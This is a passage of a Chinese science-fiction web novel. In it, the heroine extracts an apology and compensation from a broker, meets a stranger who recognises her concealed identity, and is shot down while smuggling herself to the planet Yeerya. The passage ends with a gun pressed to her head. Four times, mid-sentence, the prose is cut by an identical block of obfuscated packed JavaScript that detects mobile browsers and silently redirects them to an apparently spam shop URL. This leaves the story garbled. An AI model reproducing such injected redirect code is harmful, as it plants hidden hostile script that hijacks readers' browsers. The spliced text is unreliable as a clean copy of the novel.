“哎呦,”混混面色一垮,随后愣了半刻,似乎又从耳机那边收到什么指示,“我们老大说,一定要当面跟您道歉,为了表示诚意,时间、地点全由您定!他全天候命,全城直达,绝不带保镖,您看这成吗?” 宁可还是心虚,歪过头小声问卡尔:“感觉好像可以吧?找个有人看场子的地方,他应该也干不了什么坏事儿吧?” “你掉钱眼儿里了?”卡尔一副无语的模样,问道。 宁可点点头。 在宁可祈求的目光下,卡尔终是叹了口气,思索良久后低声报了一个地名。 莹月大厦。 ………… 严格意义上,灰城没有绝对安全的地方,但要矮子里拔高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17407358|200590||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个,还是能选出几个相对而言不那么危险的场所。 莹月大厦就是其中的代表。 它矗立在商业区的核心地带,通体由昂贵的单向透视合金玻璃包裹。 这里不仅有商行联保的职业警卫,还配备了最新式的智能热武防卫系统。 在这里,金钱就是唯一的通行证。 这种地方宁可是去不起的,没那个钱,卡尔也去不起,但既然肖恩说要补偿,卡尔便毫不客气地提议由对方买单。 既然想道歉,那总要破费着点儿。 肖恩同意了。 一天后,还缠着绷带的卡尔和宁可一起踏进这栋大厦,宁可看着爬梯子都够不着的天花板和干净得反光的墙面,嗅着带冷调香薰的新鲜氧气,心里哇哇哇地叫个不停。 前台确认完身份,并没收了两人身上所有的冷热兵器。随后,一名身着淡蓝色包臀制服、表情妆容都精致得像艺术品的女服务员,领着他们走向预定的包间。 那是一个奢华到近乎离谱的房间。 一整面墙壁被改装成了巨大的循环鱼缸,里面游弋着稀土星极难见到的鲜活珊瑚和热带鱼类。中央的圆形餐桌质地温润如羊脂玉,天花板上垂下的水晶吊灯折射出细碎的流光,晃得人眼晕。 宁可忽然有点自卑,觉得自己穿成这幅模样有点太煞风景。卡尔倒是坦然,他伤还没好利索,一进门就瘫在昂贵的真皮沙发上合目养神了。 宁可的想法是卡尔没必要陪自己过来,但卡尔坚持说自己也算受害者,要讨个说法,宁可拗不过他,只能任由他去。 关于这一点,宁可其实有点想不通,如果肖恩诚心愧疚想道歉,那也该有卡尔的份,但肖恩却只字不提卡尔,言辞仅在宁可身上打转。 嘛,不过宁可也无所谓,事不关己高高挂起,只要她能拿回她的钱就好。 肖恩只比宁可二人晚到十多分钟,一进门就开始对宁可点头哈腰: “丁小姐!哎哟丁小姐,前几天真是多有得罪,小的一时糊涂,有眼不识泰山,您大人不记小人过……” 卡尔奇怪地看了宁可一眼,宁可也纳闷儿,自己算哪门子泰山。 莫非肖恩也查到了宁珂那层身份? 于是宁可开始装模作样:“你进来说。前后是怎么回事儿。” “哎,是,是。” 肖恩忙不迭地应着,侧过身让出门口的位置。这时,宁可注意到肖恩身后还跟着一个男人。 那男人戴着墨镜,穿得随性却讲究,一件蓝白配色的连帽卫衣,黑色宽松牛仔裤,脚下是一双一尘不染的白色老爹鞋。 他留着蓬松的偏分发,露出的下颌线条精致柔和,白皙得不像是灰城的人,倒像是宁可记忆中旧时代荧幕上的顶流艺人。 “这谁啊?”宁可眨眨眼,问道。 肖恩抹了一把额头上的冷汗,干笑两声:“这……这也是一位‘客户’,他听闻丁小姐的风采,也想亲自见见您……” 男人慢条斯理地摘下墨镜,露出一双带着审视、忧伤和困惑的眼睛。 宁可莫名觉得这张脸很熟悉,有点亲切但又想不起在哪里见过,被对方盯着也有点发毛,便主动开口自我介绍: “我是丁可欣,你谁啊?找我干嘛?” 男人沉默了许久,久到众人都觉得莫名其妙的程度。 终于,他伸出了右手,骨节分明的手指在灯光下呈现出一种病态的苍白。 “我是林特尔。”他的嗓音低沉悦耳,像是一把在空旷礼堂里拉响的大提琴。 15. 同行 “林特儿?”宁可重复了一遍,“儿化音也能当名字?” “不不不是,小姐,”肖恩额头一跳,忙不迭解释,“是林特——尔。” 宁可连忙道了句歉,却见那男人脸上并无半分恼怒,反倒是困惑之色更甚。 “那你找我有什么事?”宁可继续问。 林特尔将脸微微偏开,沉声道:“你们先聊你们的,我们的事一会儿再说。” 宁可一头雾水,却也没反对,几人便各自落了座。 “丁小姐,之前那笔生意,我认真反省过了,确实做得极不妥当,有失中间人之责,还请您大人大量——” “你是说我跟卡尔那件事?” “呃,是的。” “你该道歉的是这个?” “对、对啊。”肖恩额头上已经开始冒汗。 “没别的了?” “没了,没了。” “你放屁!”宁可一下坐直了身子,义正词严,就差拍桌子了,“那个杀手能找到我们,不是你泄的密!?” “什、什么杀手?”肖恩扯出一个比哭还难看的笑,硬着头皮装傻。 “行,不承认是吧,反正这事就你跟金咕咕知道,改天我去问金咕咕,如果不是金咕咕说的,你就等着吧!” 卡尔瘫在一旁的沙发上,从头到尾一句话没说,这会儿却轻轻叹了口气。 他忽然觉得,这女人大概是个欺软怕硬的茬,前几天在肖恩面前还唯唯诺诺,现在一看人家主动低头,立马就开始得理不饶人。 可转念一想,卡尔又觉得不对。 以肖恩那种做派,绝不是会主动负荆请罪的人。能让他摆出这副孙子相,背后一定另有原因。 所以,是因为那个叫林特尔的男人? 肖恩腆着脸赔笑,表面上一直朝着宁可点头哈腰,实则眼角余光一刻不停地偷瞄林特尔的脸色。见林特尔眉宇间隐隐浮出一丝不耐,他立刻如临大敌,腰都快弯成驼峰了。 “小姐,丁小姐,这真不怪我们啊,那个疯子,是那个疯子逼我们的!我们要是不听,他、他就要剁我们手指头……” “你们?”宁可皱眉,“除了你还有谁?” “他把我和小金都抓起来了……然后……” 不知道是演的还是真情流露,肖恩现在几乎是一把鼻涕一把泪了,宁可看在眼里,心情反倒沉了几分。 “金咕咕……他没事吧?” “小金他……身体没什么大碍,只说是没脸再见小姐……” 宁可抿了抿嘴唇,坐桌子上思考了很久,才再开口道:“你跟金咕咕说,我没怪他。” 不止没怪,宁可心里甚至有点不是滋味。说到底,还是她把人给连累了。 肖恩闻言如蒙大赦,立即露出谄媚的笑,好似自己也被一同原谅了一般:“小、小姐大人大量,这是我和小金的一点赔礼……” 说着,他从怀里掏出两张黑色卡片,恭恭敬敬地推了过来。卡片上各印着一串数字,样式跟宁可之前从矿洞尸体上搜刮来的不记名储蓄卡几乎一模一样,显然出自同一家发行机构。 “这两张卡里,各有十万帝国币,一点微薄心意,还请丁小姐您笑纳……” 宁可垂眸看着那两张卡。 二十万,对她来说怎么也算巨款了,但不知道为什么,她却反常地感到兴致缺缺,提不起心情。 半晌,她只伸手拿走一张,另一张留在了桌上。 “金咕咕那份拿回去吧,我说了不怪他。” “欸,是,是。”肖恩嘴上附和,笑容却僵得有点发苦,心里想,合着错全算他头上了呗。 “那、那丁小姐,既然这样,我这边要是没别的事——” “卡尔的呢?” “啊?”肖恩一愣,“什、什么?” “卡尔也因为这事受了重伤,你不该表示一下?” 肖恩脸皮抽了抽,咬咬牙,又苦哈哈走到卡尔所在的沙发边,掏出第三张卡片,看来还真是有备而来:“卡、卡尔兄弟,那这、这真是对不住了。” 卡尔一言不发,把卡片收进口袋,撇了一眼肖恩的脸,不禁回忆起几天前肖恩那幅趾高气昂、爱答不理的样子,心里又是感慨又是困惑。 “那、那我这边应该没有别的事了,不知道林特尔先生……” “没别的事你可以走了。”林特尔淡淡开口。 “欸欸!好嘞,好嘞,我这就走,这就走!有什么事您再吩咐。” 肖恩又是一顿点头哈腰,几乎是倒着退了出去,走之前没有忘记带上房门。 房门合拢,屋里顿时只剩下三个人。 宁可心事重重,林特尔则毫不避讳地盯着她看。卡尔的视线在两人之间来回转了好几圈,还是想不明白眼下到底是个什么路数。 “能请这位先生也回避一下么?我们想单独聊聊。”林特尔终于开口。 卡尔还没来得及说话,宁可先一步炸毛了:“欸?为什么?我又不认识你!这我好兄弟,没啥不能听的。” 卡尔一时有点哭笑不得。 “好兄弟?”林特尔重述,“多好的兄弟?” “过命的交情!” “那以前的那些兄弟,现在全都不认识了?” 宁可愣了愣,心里“咯噔”一下,眼神开始乱飘,说话也跟着打结:“什什什么以前的兄弟!你认错人了吧!” 林特尔抿了抿唇,声音很轻,却很笃定:“我会认错很多人,但不会认错你。” 宁可本来还只是怀疑,现在则是确信了,顿时慌得更厉害:“大大大哥你真认错人了!我知道我跟那个人长得很像,但我真不是她!” “你知道我说的是谁?” “知道!”宁可答得飞快,随后脸色一僵,赶忙找补,“我在电视里见过她!我爸我妈我哥也说我跟她长得像!不信你问我哥!” 说到这儿,她一把伸手指向卡尔,语速快得像倒豆子:“我哥叫卡尔,我叫卡欣!我们是亲兄妹!” 卡尔歪歪头摊摊手,表情像刚出生的孩子一样茫然。 “你不是叫丁可欣么?”林特尔问。 “……”宁可噎了一下,硬着头皮继续胡扯,“那是化名!” 林特尔沉默了,过了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17407359|200590||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半响,才叹了口气,道:“那就当我认错了吧。” 宁可这才稍稍松了口气,然而下一秒,就听见林特尔继续问道:“你接下来有什么打算?” “啊?打算?” “对。” “呃……我打算去耶尓亚。” “去耶尓亚做什么?” “去……”宁可卡壳片刻,随即强行板起脸,“我没必要告诉你吧?” “我跟你一起。” “你要干嘛?”宁可又傻了,“大哥……我都说了你认错人了!你怎么就不信呢?” “我信,”林特尔的语气很平静,“但这不妨碍我跟你去耶尓亚,我家也在那边。” “我们是偷渡,很危险的!” “我也可以偷渡。” “我们的飞船只能装两个人!”宁可猛地扭头,朝卡尔投去求救的目光,“对吧卡尔?” 卡尔慢悠悠道:“你给钱的话,我可以装三个。” 宁可咬牙切齿,几步冲到卡尔身边,压低声谴责道:“你忘恩负义!我刚刚还帮你从肖恩手上要来一笔钱!” “这有关系么?一码归一码罢了,”卡尔摊摊手,“话说,你难道真不认识他?” “真不认识!” “那你们帝国人真有意思,”卡尔往后一靠,语气懒洋洋的,“你说他认错了,那你把口罩摘了让他看一眼不就清楚了?” “那就更解释不清了!” “为什么?” “我跟那个人长得真的很像!几乎一模一样!” “双胞胎?”卡尔眉毛一挑。 宁可咬咬牙:“对!” “那你说实话不行么?” “不!行!的!”宁可一字一顿,“而且,他十有八九跟追杀我的人脱不了干系!” “我觉得不像,你看他,”卡尔朝林特尔那边抬了抬下巴,“一副为情所困,被人抛弃的样子,我觉得他十有八九对你,呃,你那个双胞胎姐妹有什么执念。” 林特尔见两人的视线都落到自己身上,嘴角微微牵动,勉强露出一个微笑:“你不用太在意我,不管怎样,我都会站在你这边。” “啊……”宁可整个人都快被抽空了,“我不需要,真的。” 卡尔叹了口气:“得了,这是你俩的事,别非把我扯进去,我连肖恩都惹不起,帮不了你。” “你没良心!我们过命的交情!” “是,是,我谢谢你,”卡尔敷衍地点点头,“那他要是想杀你我能帮你开两枪,可现在根本不是这么回事啊。” “啊——!”宁可抓住自己的头发一通乱揉,整个人都快崩溃了。 最后,她像是突然失去了所有力气和手段,垮着肩膀,恨恨道:“行,算你们狠,惹不起我还躲不起吗。” 说完,她缓步走到门口,伸手拉开房门。 两个男人都下意识抬头看向她,眼里带着几分困惑。 下一秒,宁可猛地一提气,拔腿就跑,整个人像支离弦的箭,“嗖”地一下蹿出了门,眨眼便没了踪影。 房间里只余下两个男人,一片死寂。 16. 耶尓亚 宁可好一阵没有催卡尔。 毕竟有钱了嘛,宁可的宅女属性暴露无遗,反正躲房间里也没人找得到她,啥时候出发都不着急。 这一拖,就拖了大半个月,宁可都快忘了还有林特尔这么个人的存在。 某天,卡尔主动给宁可发消息,说自己差不多康复,飞船也准备好,问宁可还走不走。 宁可看到“走不走”三个字,一个鲤鱼打挺从床上弹起来。 走!当然走! 于是,到了约定的时间,宁可拎着箱子喜滋滋地下楼,找到了之前见过的那辆车,卡尔坐在驾驶位,单手搭着方向盘,气色确实比之前好了不少。 宁可坐上副驾,恍惚间往后视镜一看,林特尔正安安静静地坐在后座上,顿时笑容僵住。 “这怎么回事?”宁可压低声音咬牙切齿地问。 “什么怎么回事?” “他怎么也在?” “人家付过钱了。”见宁可一副苦大仇深,咬牙切齿的模样,卡尔咂咂嘴,“你至于么,你就当顺路,人家说了,人家也是要回家,又不打算黏你一辈子。” “这你也信!你就作吧你,等会儿飞船让他给炸了看你怎么后悔。” “他也在飞船上他怎么炸?他不怕死的么?” “那电影里不就有那种不怕死的杀手吗?” “你可别扯了,不愿意你就下车,说白了人家付过钱你没付过,你一白嫖的还挑上了。” 卡尔这么说着,却完全没给宁可下车的机会,一脚油门车就窜出好几十米。宁可闷闷不乐,抱着胳膊鼓着腮帮不理人了。 稀土星大概也有气候之分,这几天是越来越热,所以车刚一出城,宁可就破罐子破摔摘掉了口罩。 一直没说话的林特尔见状,目光微微一动,像是终于放下了什么悬在心头的东西,低声道: “小珂,我就知道,我没有认错。” “你可别了啊,老娘叫宁可,宁可杀不可辱的宁可,跟你那宁珂没半毛钱关系。” 坐在驾驶位的卡尔笑了一下:“这名字我第一次听,以后还有没有新的?” 宁可一拳头怼卡尔肩膀上:“这就是我真名!” “那就好,你再多几个我都快记不住了。” 宁可真的很生气,不气林特尔而是气卡尔,气他胳膊肘往外拐。 虽然她也说不上跟卡尔关系多好,但多少也算共患难的兄弟,现在随便来个人给他点钱就把他收买了,实在狼心狗肺。 宁可越想越气,气着气着,脑子里忽然蹦出一个离谱的念头。 她猛地拍了一下卡尔的肩膀。 “卡尔,我认真问你个事。” “嗯。问。” “你是同性恋吗?” 卡尔一口气呛住,猛地咳嗽起来,好在稀土荒郊人烟罕见,倒不至于出什么交通事故。 “艹。你抽什么风!?”咳嗽完,卡尔骂了一句。 “你看啊,两个男人一个女人,那应该是你俩勾心斗角互相栽赃争风吃醋,然后骗取我的信任啊?结果现在完全是反过来的,我就觉得你对他图谋不轨。” 宁可摆出一副柯南探案的模样,就差喊出那句“真相只有一个”了。 卡尔沉默了,林特尔也皱着眉毛不说话,过了好久,卡尔才接话道:“你快闭嘴吧,你听我的,回去以后先去看看脑子。” 宁可闻言,好像忽然想到什么,从随身背包里翻了几下,翻出之前西彩给的脑部成像图,瞥了一眼后又放了回去。 她都快忘了,她脑子好像确实有点问题,得挑时间去看看。 想到这事,宁可就蔫了几分,也没了胡搅蛮缠的兴致,只靠在车窗边盯着外头发呆。 车驶出灰城后,又在荒原上颠簸了将近一个小时。 直到前方地势渐渐开阔起来,宁可才看见远处出现了一片规模不小的驻扎地。 与其说那是个港口,不如说更像个营地。 大片大片的帐篷、活动板房、货运箱和房车零散分布在空地上,几处篝火还没熄透,升起细细的白烟。 四处都停着车,有大的有小的,风吹过时卷起沙土和塑料篷布,猎猎作响。 这里没有任何像样的固定建筑,目光所及,全是些随时能拆、随时能走的东西。 宁可想到了游牧民族。 车子一路开进去,营地里的人显然有不少都认识卡尔,路过时还有人朝他吹口哨、挥手打招呼。 “回来了啊!” “卡尔,这回住几天?” “听说你那破船又修好了?” 卡尔大多只是摆摆手,随口应付两句。 “不住,送趟货。” “滚,什么破船,买得起吗你。” 宁可本想多看两眼,结果这里生人太多,气氛又松散粗野,她条件反射地怂了,拎着行李缩到卡尔身后,一声不吭地跟着走,像只误入狼群的小鸡仔。 穿过营地后,宁可终于看见了自己心心念念的飞船。 然后,她失望了。 她原本以为,所谓飞船,就该有飞船的样子——流线外壳,银光锃亮,舱体酷炫,机翼下挂着几门激光炮,随便一看就很贵、很强、很future。 然而眼前这东西,像一只发胖的鹌鹑。 机身涂漆脱落得东一块西一块,像得了皮肤病;支脚和轮胎上糊满黄泥;两边短短的机翼蔫头耷脑地垂着;尾部和下腹部的推进器满是洗不掉的黑色油污,整体透着一股“能飞就算赢”的寒酸气。 “这……就是你的飞船啊?”宁可有些傻眼。 “不然呢?”卡尔回头看她,“你觉得它像个摩托车?” “……它不会飞一半散架吧?” “你放宽心,我才找人检修过。” 卡尔顺着爬梯上了驾驶舱,招呼两人跟上。宁可本来还想挣扎一下,可人都到这儿了,也只能硬着头皮爬上去。 结果进了驾驶舱,她更绝望了。 这地方原本显然只设计给两个人用,前面两个标准座位,后头本该是设备区,却被卡尔硬生生焊了个丑得惊人的第三把椅子上去,焊点歪歪扭扭,一看就很不靠谱。 见宁可盯着那把椅子看,卡尔一本正经道:“别看了,那个是特意给你准备的。” “哈?” “因为你没付钱。” 宁可狠狠剜了他一眼,抢先坐上副驾驶。林特尔跟在后面,也没说什么,只安安静静坐到了那把寒酸椅子上。 舱门闭合后,卡尔按下启动键,整艘船顿时像一台快散架的老机器似地嗡嗡作响,没一会儿便开始剧烈震动。 宁可死死抓住扶手,安全带检查了三遍还嫌不够。飞船爬升时,她甚至怀疑自己下一秒就要连人带椅子一起甩出去。直到冲出大气层,那股要命的震颤才终于缓了下来。 代价是,她开始晕船了。 宁可整个人轻飘飘地悬在座位上,只靠安全带勒着,胃里翻江倒海。 她想起之前在野狼号上的时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17407360|200590||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 候,明明还能正常感受到重力,卡尔这艘船却没这个功能,看来技术是真的有点落后时代。 相比之下,后面的航程平稳得有些无聊。宁可本来还提心吊胆,结果紧张着紧张着,眼皮就越来越重,最后脑袋一歪,迷迷糊糊睡了过去。 再醒来时,是被提示音吵醒的。 卡尔切出前方航线,一颗蓝白相间的星球出现在主屏幕上,随着飞船靠近,一点点放大。 “那就是耶尓亚?”宁可揉着眼睛问。 “嗯。”卡尔道,“到了。” 和稀土星完全不一样。 从远处看去,耶尓亚干净得像是另一个世界。大片大片的海洋呈现出深浅不一的蓝,云层雪白,绿色的陆地隐在其间,看着就比稀土星那颗脏土豆顺眼了不知道多少倍。 宁可盯着那颗越来越近的星球,忽然问道:“这个星系离地球有多远?” “地球?”卡尔皱了皱眉,“你是说旧世界?” “嗯……就是太阳系那个地球啊!” 后座一直安静着的林特尔忽然开口:“大约十一光年。” 宁可扭头看了他一眼。 “地球上现在还有人吗?” “有。” 宁可眼睛一亮,整个人忽然精神起来:“我其实是地球人!” 卡尔冷笑一声,显然一个字都不信。 林特尔的反应却有些微妙。他看着宁可,眼底掠过一丝很复杂的情绪,像是迟疑,又像是困惑。 “小珂……你……” “停。”宁可立刻打断他,“都说了,叫我宁可。” 她顿了顿,重新看向窗外那颗蓝白色的星球,声音忽然轻了些。 “那如果我要回地球,要花多久?” 没人回答。 驾驶舱里安静下来,只剩下老旧引擎低低的运行声。 一段时间后,飞船穿进大气层,开始剧烈震动,这次,宁可表现得冷静了一些。 “不直接去帝国么?”等到震感稍微下降,后面的林特尔开口问道。 卡尔叹了口气,神色也有些紧张:“偷渡偷渡,肯定不能直接飞进去啊。” 林特尔没再说话。 飞船穿透云层,下方出现了一片连绵起伏的山地,边缘处似乎还能看见废弃公路和某种年久失修的设施残骸。 这里显然不是城市,更不是正规的星港,放眼望去连个像样的灯塔都没有,只有荒僻山野被阳光照得发白。 宁可刚想问“咱们是不是快到了”,下一秒,驾驶舱里突然响起一声极其刺耳的蜂鸣。 “滴——!!!” 声音尖得像要直接扎进脑子里。 紧接着,主控屏幕猛地跳成一片刺目的红色,一串宁可看不懂的字符疯狂闪烁,旁边一个小小的三角标识不停跳动。 卡尔脸色瞬间变了。 “艹!” 宁可本能地紧张起来:“怎、怎么了?” 卡尔没空回答,猛地推开安全锁,整个人往前一扑,手指飞快敲击按键,老旧飞船也跟着忽然往下一沉,吓得宁可差点从椅子上弹起来。 “卡尔!?” “别叫!”卡尔咬牙骂道,“我们被□□锁定了!” “□□!??” 宁可脑子“嗡”地一下,后背瞬间冒出冷汗。 警报声陡然又尖了一截。 宁可看见一旁的雷达显示器上,骤然跳出一个闪烁的猩红光点,正以极快的速度朝着他们扑来。 17. 古娜拉黑暗之神! 林特尔几乎是在警报响起的同时站了起来。 “别拉升。”他声音不高,却一下压过了那刺耳的蜂鸣,“压低,贴地飞。” “艹!”卡尔手上不停,额角青筋都绷了出来,“这他妈是山区,怎么压!” “拉升你会被咬死。”林特尔盯着雷达上那颗猩红光点,语速快而冷静,“热追踪弹,吃尾焰。地形越复杂,越容易躲。” 卡尔骂了句脏话,显然听懂了。 下一秒,飞船猛地俯冲,几乎贴着山脊擦了过去,机腹下方传来一阵令人牙酸的刮蹭声,像是有什么金属片被硬生生削掉了。 整艘船都在抖,像个快散架的铁皮罐头。 卡尔死死攥着操纵杆,肩背绷得像石头,眼睛一眨不眨地盯着前方地形。 “右边峡口!”林特尔一边开口指示,一边从椅后探出身子,伸手揭开了宁可面前的副控板,自顾自操作起来。 下一刻,飞船几乎是横着甩进了林特尔所说的峡口。 林特尔一个没站稳,狠狠撞在座椅靠背上,宁可却无心去管,因为她紧接着就听见“啪”的一声,像是什么金属部件从飞船某处断开了。 就在这时,后方骤然爆开一团刺目的火光。 冲击波隔着一段距离拍上船尾,飞船像被巨手凌空抽了一巴掌,瞬间失去平衡。 卡尔咬着牙,脸色难看得吓人:“艹他妈的!” “怎、怎么了?”宁可大声问。 “操控失灵了!” 飞船开始失控下坠。 不是人为控制的俯冲,而是真真正正往地上砸。 机身疯狂旋转、翻滚,窗外的天和地颠来倒去,蓝天、山坡、树影、云层全混成一团。轰然巨响中,飞船狠狠擦上山坡,像块打水漂的石头一样弹起一瞬,又重重砸了下去。 舱内所有东西都飞了起来,金属断裂声、玻璃碎裂声、警报声、树干折断声混在一起,震得人脑浆都像要散开。 宁可只觉得魂飞魄散,身体被各种东西磕碰,直到眼前彻底一黑。 失去意识的前一秒,她余光瞥见沉默已久的系统对话框忽然弹出一条新的消息。 「主线任务已完成:躲避或击杀伍迪·泰勒,并离开稀土星,前往耶尓亚星。奖励已发放。 剩余战斗特化模式使用次数:2。」 …… “醒醒……醒醒……” 宁可睁开眼时,先看见一张血糊糊的脸,吓得差点又闭过去。 定睛一看,才发现是卡尔。 卡尔额头破了道口子,血正顺着脸侧往下淌,他一边拍她的脸,一边帮她解安全带。 “还能动么?”他喘着气问。 宁可张了张嘴,只觉得头疼得厉害,像有人在拿钝刀一下一下割她的脑子。 她缓了好几秒,才勉强点了点头,转头去看林特尔。 相比之下,林特尔就没那么幸运了。 他整个人歪在后座,脸上多了好几块淤青,左边小臂更是以一种极其诡异的角度弯折着,一看就知道断了。 “他……” “还活着,但叫不醒,我试过了。”卡尔喘了口粗气,转身去推变形的舱门,“能动就快帮忙,这里不安全。” 宁可不敢再多问,连忙撑着座椅起身。结果刚一站起来,眼前便是一阵发黑,脚下也有些发软,差点重新摔回去。 “站稳点,祖宗。”卡尔一把扶住她。 两人挪到舱门边,照着卡尔指的位置一起用力。 门卡得厉害,纹丝不动,卡尔低骂一声,肩膀重重顶了上去,宁可也咬着牙跟着使劲。 伴随着一阵令人牙酸的吱呀声,舱门终于被推出一道仅容一人通过的空隙。 卡尔率先钻了出去,又回身把宁可拉出来。 外头是一片被撞得乱七八糟的山坡,断树、碎石和翻起的泥土拖出长长一道痕迹,空气里弥漫着一股刺鼻的焦糊味。 两人又合力把林特尔从船里弄了出来。 等人平放到地上后,卡尔盯着他那条断臂,脸色有些难看。 “这胳膊暂时没法处理。” 他说完,又转身钻回货舱,从一堆歪七扭八的杂物里翻出了几人的行李,还有一些食物和药品。 随后他找了根还算笔直的木棍,动作利落地给林特尔打了个简陋夹板。 做完这些,卡尔抬头扫了一眼四周,神色始终紧绷着。 “不能留在这儿。刚才朝我们开火的人,没准会追过来。” “那怎么办?”宁可问。 “先躲起来再说。”卡尔道,“我托头和肩,你托住腰和腿。” 宁可点点头,也不敢耽搁。 两人就这么一前一后,跌跌撞撞地把林特尔往林子深处运去。 这片山林比从天上看时难走得多,地势崎岖,荆棘遍布,地上不是碎石就是盘根错节的树根,两人走不了几分钟就得停下来喘口气,顺便重新找路。 “我们这是要去哪儿?”宁可一边喘一边问。 “先找个能藏人的地方。”卡尔道,“别的以后再说。” “那些人是谁?” “不知道。”卡尔皱着眉,“这个降落点以前一直是安全的,鬼知道这次哪儿冒出来的人。” 宁可心里发沉,却也问不出更多,只能继续闷头跟着走。 也不知折腾了多久,两人终于在山脚下找到一处勉强能落脚的地方。 那其实算不上什么正经山洞,更像是个被水冲出来的小溶洞,直径不足五米,洞口又窄又低。林特尔往里一躺,剩下的位置顿时显得有些局促。 宁可靠着洞壁坐下,只觉得浑身骨头散架般的疼。卡尔则靠在洞口,一条腿屈着,一条腿半伸,显然也累得不轻。 一路上宁可都没怎么说话,这会儿更是沉默地抱着膝盖,低头发呆。 卡尔有气无力地坐在一边,静静看了她一会儿,忽然从地上捡起一颗小石子,轻轻丢到了她衣服上。 “蠢女人,想什么呢?” 宁可回过神,捡起石子丢了回去:“谁是蠢女人?你才蠢女人!” 卡尔偏头躲开,又捡了另一颗丢回去:“说到底,哪个才是你真名?” “宁可。”宁可没好气道,“宁可杀不可辱的宁可。” “那叫士可杀不可辱。” “……是吗?” “说你蠢还不信。” 宁可想了想,好像还真是这么回事,顿时有点恼羞成怒,低头捡起更多石子,一颗一颗挨个往卡尔那边砸。 卡尔抬手挡了一下,也顺手回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17407361|200590||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 敬起来。两人你来我往,居然在这种时候玩得不亦乐乎。 砸了一会儿,宁可动作慢了下来,忽然低声道: “那个……对不起啊,害你飞船被炸了。” 卡尔盯着她看了好一会儿,才道:“你打算赔我一艘?” “我赔不起。” “那不就得了。”卡尔摸了根烟出来,叼在嘴里。自从接了宁可这单生意,他已经很久没抽烟了,“你也别放在心上,说到底是我自己疏忽,常在河边走,哪有不湿鞋。” 宁可愣了片刻,笑了一下:“我发现你人还挺好的。” “是么?” “嗯。”宁可装模作样地抬了抬手,“滴——给你发一张好人卡。” 卡尔嘴角抽了抽:“在稀土,这跟骂人蠢差不多,你知道么?” “啊?为什么?” “好人不长命呗。”卡尔顿了顿,又补了一句,“所以我本来也打算在耶尓亚待一阵,看看你家乡是不是所有人都跟你一样蠢。” “我都说了,我家在地球。” “好好,地球。”卡尔显然不想再继续这个话题,把烟夹在耳后,拍拍裤子站起身,猫着腰往洞外走去,“我出去看看情况,你待着别乱跑。” “……我、我一起去。” 宁可也跟着站了起来。 其实她并不太想出去,但一想到林特尔要是这会儿醒了,山洞里只剩他们两个人,那个场面光想想就尴尬,顿时觉得还是外头更安全一点。 走到洞口,看到满山荆棘,宁可忽然想到什么,回到洞穴从自己的大号行李箱中翻了翻,拿出之前系统奖励的那把振动刀。 “这是?” “砍柴刀!可以用来开路!”宁可显得有点得意。 卡尔嘴角抽了抽,不再多说什么,让宁可走前面。宁可一边走一边披襟斩棘,好不快乐,两人就这样手脚并用,爬上了不远处一个高坡。 上了坡顶,视野顿时开阔了些,他们也终于看见坡顶立着一间破旧的小屋。 小屋整体由石块堆砌而成,顶部盖着木质房盖,如今墙壁已经坍塌大半,房顶也被腐蚀得不成样子,远远看去,像是随时都会塌。 “谁会住这种鬼地方……”卡尔站在原地打量了一圈,也没发现别的什么。 “对啊。”宁可跟着吐槽,“这种地方估计连网都没有。” 卡尔沉默了一下,忽然道:“我去放个水。” “我也——”宁可下意识接了半句,话到嘴边猛地刹住,“……呃。” 卡尔笑了一下,懒得再调侃她,转身朝一边角落走去。 宁可在原地站了一会儿,闲着也是闲着,便小心翼翼往那小屋里探去。 屋里还剩几个歪斜的空柜子,木头都快烂透了。 宁可本来想着,也许能翻出点什么能用的东西,结果里面除了灰和蜘蛛网,什么都没有。 就在这时,宁可忽然听见身后传来脚步声。 她以为是卡尔回来了,也就没太在意。 然而下一秒,一个冰冷坚硬的管状物猛地抵上了她的后脑。 与此同时,一道陌生而冷硬的男声在她身后响起: “别动。” “想活命就闭嘴。” “我问什么,你答什么。” 18. 反正也不会有人看…… 随便取个标题也…… 